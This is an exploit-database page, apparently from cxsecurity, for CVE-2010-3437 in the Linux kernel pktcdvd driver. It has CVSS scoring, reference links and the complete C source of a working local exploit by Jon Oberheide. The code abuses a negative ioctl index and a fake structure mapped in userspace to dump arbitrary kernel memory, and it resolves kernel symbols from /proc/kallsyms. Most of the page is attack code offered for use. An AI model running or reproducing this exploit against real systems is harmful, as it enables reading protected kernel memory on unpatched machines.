Linux Kernel < 2.6.36-rc6 pktcdvd Kernel Memory Disclosure

2010-10-05 / 2010-10-06
Credit: Jon Oberheide
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-189


CVSS Base Score: 6.6/10
Impact Subscore: 9.2/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: None
Availability impact: Complete

/* * cve-2010-3437.c * * Linux Kernel < 2.6.36-rc6 pktcdvd Kernel Memory Disclosure * Jon Oberheide <jon@oberheide.org> * http://jon.oberheide.org * * Information: * * https://bugzilla.redhat.com/show_bug.cgi?id=638085 * * The PKT_CTRL_CMD_STATUS device ioctl retrieves a pointer to a * pktcdvd_device from the global pkt_devs array. The index into this * array is provided directly by the user and is a signed integer, so the * comparison to ensure that it falls within the bounds of this array will * fail when provided with a negative index. * * Usage: * * $ gcc cve-2010-3437.c -o cve-2010-3437 * $ ./cve-2010-3437 * usage: ./cve-2010-3437 <address> <length> * $ ./cve-2010-3437 0xc0102290 64 * [+] searching for pkt_devs kernel symbol... * [+] found pkt_devs at 0xc086fcc0 * [+] opening pktcdvd device... * [+] calculated dereference address of 0x790070c0 * [+] mapping page at 0x79007000 for pktcdvd_device dereference... * [+] setting up fake pktcdvd_device structure... * [+] dumping kmem from 0xc0102290 to 0xc01022d0 via malformed ioctls... * [+] dumping kmem to output... * * 55 89 e5 0f 1f 44 00 00 8b 48 3c 8b 50 04 8b ... * 55 89 e5 57 56 53 0f 1f 44 00 00 89 d3 89 e2 ... * * Notes: * * Pass the desired kernel memory address and dump length as arguments. * * We can disclose 4 bytes of arbitrary kernel memory per ioctl call by * specifying a large negative device index, causing the kernel to * dereference to our fake pktcdvd_device structure in userspace and copy * data to userspace from an attacker-controlled address. Since only 4 * bytes of kmem are disclosed per ioctl call, large dump sizes may take a * few seconds. * * Tested on Ubuntu Lucid 10.04. 32-bit only for now. */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/ioctl.h> #include <sys/utsname.h> #include <sys/mman.h> #define DEV_INDEX -300000000 #define PAGE_SIZE 4096 #define PKT_CTRL_CMD_STATUS 2 struct pkt_ctrl_command { uint32_t command; int32_t dev_index; uint32_t dev; uint32_t pkt_dev; uint32_t num_devices; uint32_t padding; }; #define PACKET_IOCTL_MAGIC ('X') #define PACKET_CTRL_CMD _IOWR(PACKET_IOCTL_MAGIC, 1, struct pkt_ctrl_command) struct block_device { uint32_t bd_dev; } bd; struct pktcdvd_device { struct block_device *bdev; } pd; #define MINORBITS 20 #define MKDEV(ma,mi) (((ma) << MINORBITS) | (mi)) uint32_t new_decode_dev(uint32_t dev) { unsigned major = (dev & 0xfff00) >> 8; unsigned minor = (dev & 0xff) | ((dev >> 12) & 0xfff00); return MKDEV(major, minor); } const char hex_asc[] = "0123456789abcdef"; #define hex_asc_lo(x) hex_asc[((x) & 0x0f)] #define hex_asc_hi(x) hex_asc[((x) & 0xf0) >> 4] void hex_dump_to_buffer(const void *buf, size_t len, int rowsize, int groupsize, char *linebuf, size_t linebuflen, int ascii) { const uint8_t *ptr = buf; uint8_t ch; int j, lx = 0; int ascii_column; if (rowsize != 16 && rowsize != 32) rowsize = 16; if (!len) goto nil; if (len > rowsize) len = rowsize; if ((len % groupsize) != 0) groupsize = 1; switch (groupsize) { case 8: { const uint64_t *ptr8 = buf; int ngroups = len / groupsize; for (j = 0; j < ngroups; j++) lx += snprintf(linebuf + lx, linebuflen - lx, "%16.16llx ", (unsigned long long)*(ptr8 + j)); ascii_column = 17 * ngroups + 2; break; } case 4: { const uint32_t *ptr4 = buf; int ngroups = len / groupsize; for (j = 0; j < ngroups; j++) lx += snprintf(linebuf + lx, linebuflen - lx, "%8.8x ", *(ptr4 + j)); ascii_column = 9 * ngroups + 2; break; } case 2: { const uint16_t *ptr2 = buf; int ngroups = len / groupsize; for (j = 0; j < ngroups; j++) lx += snprintf(linebuf + lx, linebuflen - lx, "%4.4x ", *(ptr2 + j)); ascii_column = 5 * ngroups + 2; break; } default: for (j = 0; (j < rowsize) && (j < len) && (lx + 4) < linebuflen; j++) { ch = ptr[j]; linebuf[lx++] = hex_asc_hi(ch); linebuf[lx++] = hex_asc_lo(ch); linebuf[lx++] = ' '; } ascii_column = 3 * rowsize + 2; break; } if (!ascii) goto nil; while (lx < (linebuflen - 1) && lx < (ascii_column - 1)) linebuf[lx++] = ' '; for (j = 0; (j < rowsize) && (j < len) && (lx + 2) < linebuflen; j++) linebuf[lx++] = (isascii(ptr[j]) && isprint(ptr[j])) ? ptr[j] : '.'; nil: linebuf[lx++] = '\0'; } void print_hex_dump(int rowsize, int groupsize, const void *buf, size_t len, int ascii) { const uint8_t *ptr = buf; int i, linelen, remaining = len; unsigned char linebuf[200]; if (rowsize != 16 && rowsize != 32) rowsize = 16; for (i = 0; i < len; i += rowsize) { linelen = ((remaining) < (rowsize) ? (remaining) : (rowsize)); remaining -= rowsize; hex_dump_to_buffer(ptr + i, linelen, rowsize, groupsize, linebuf, sizeof(linebuf), ascii); printf("%s\n", linebuf); } } unsigned long get_kernel_symbol(char *name) { FILE *f; unsigned long addr; struct utsname ver; char dummy, sname[512]; int ret, rep = 0, oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) { goto fallback; } oldstyle = 1; } repeat: ret = 0; while(ret != EOF) { if (!oldstyle) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); } else { ret = fscanf(f, "%p %s\n", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) { continue; } p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') { p--; } *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); return addr; } } fclose(f); if (rep) { return 0; } fallback: uname(&ver); if (strncmp(ver.release, "2.6", 3)) { oldstyle = 1; } sprintf(sname, "/boot/System.map-%s", ver.release); f = fopen(sname, "r"); if (f == NULL) { return 0; } rep = 1; goto repeat; } void usage(char **argv) { fprintf(stderr, "usage: %s <address> <length>\n", argv[0]); exit(1); } int main(int argc, char **argv) { int fd, ret, length; void *mem, *dump, *ptr; struct pkt_ctrl_command cmd; unsigned long pkt_devs, map_addr, deref_addr; unsigned long start_addr, end_addr, curr_addr; if (argc < 3) { usage(argv); } start_addr = strtoul(argv[1], NULL, 0); length = strtoul(argv[2], NULL, 0); end_addr = start_addr + length; dump = malloc(length); if (!dump) { printf("[-] failed to allocate memory for kmem dump\n"); exit(1); } memset(dump, 0, length); printf("[+] searching for pkt_devs kernel symbol...\n"); pkt_devs = get_kernel_symbol("pkt_devs"); if (!pkt_devs) { printf("[-] could not find pkt_devs kernel symbol\n"); exit(1); } printf("[+] found pkt_devs at %p\n", (void *) pkt_devs); printf("[+] opening pktcdvd device...\n"); fd = open("/dev/pktcdvd/control", O_RDWR); if (fd < 0) { printf("[-] open of pktcdvd device failed\n"); exit(1); } deref_addr = pkt_devs + (DEV_INDEX * sizeof(void *)); map_addr = deref_addr & ~(PAGE_SIZE-1); printf("[+] calculated dereference address of %p\n", (void *) deref_addr); printf("[+] mapping page at %p for pktcdvd_device dereference...\n", (void *) map_addr); mem = mmap((void *) map_addr, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (mem == MAP_FAILED) { printf("[-] mmap failed\n"); exit(1); } printf("[+] setting up fake pktcdvd_device structure...\n"); *(unsigned long *) deref_addr = (unsigned long) &pd; printf("[+] dumping kmem from %p to %p via malformed ioctls...\n", (void *) start_addr, (void *) end_addr); memset(&cmd, 0, sizeof(cmd)); cmd.command = PKT_CTRL_CMD_STATUS; cmd.dev_index = DEV_INDEX; ptr = dump; curr_addr = start_addr; while (curr_addr < end_addr) { pd.bdev = (struct block_device *) curr_addr; ret = ioctl(fd, PACKET_CTRL_CMD, &cmd); if (ret < 0) { printf("[-] ioctl of pktcdvd device failed\n"); exit(1); } *(uint32_t *) ptr = (uint32_t) new_decode_dev(cmd.dev); curr_addr += sizeof(uint32_t); ptr += sizeof(uint32_t); } printf("[+] dumping kmem to output...\n"); printf("\n"); print_hex_dump(32, 1, dump, length, 1); printf("\n"); return 0; }

References:

http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=252a52aa4fa22a668f019e55b3aac3ff71ec1c29
https://bugzilla.redhat.com/show_bug.cgi?id=638085
http://www.securityfocus.com/bid/43551
http://www.openwall.com/lists/oss-security/2010/09/28/6
http://www.openwall.com/lists/oss-security/2010/09/28/2
http://www.kernel.org/pub/linux/kernel/v2.6/testing/Chang2000eLog-2.6.36-rc6
http://www.exploit-db.com/exploits/15150/
http://jon.oberheide.org/files/cve-2010-3437.c


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top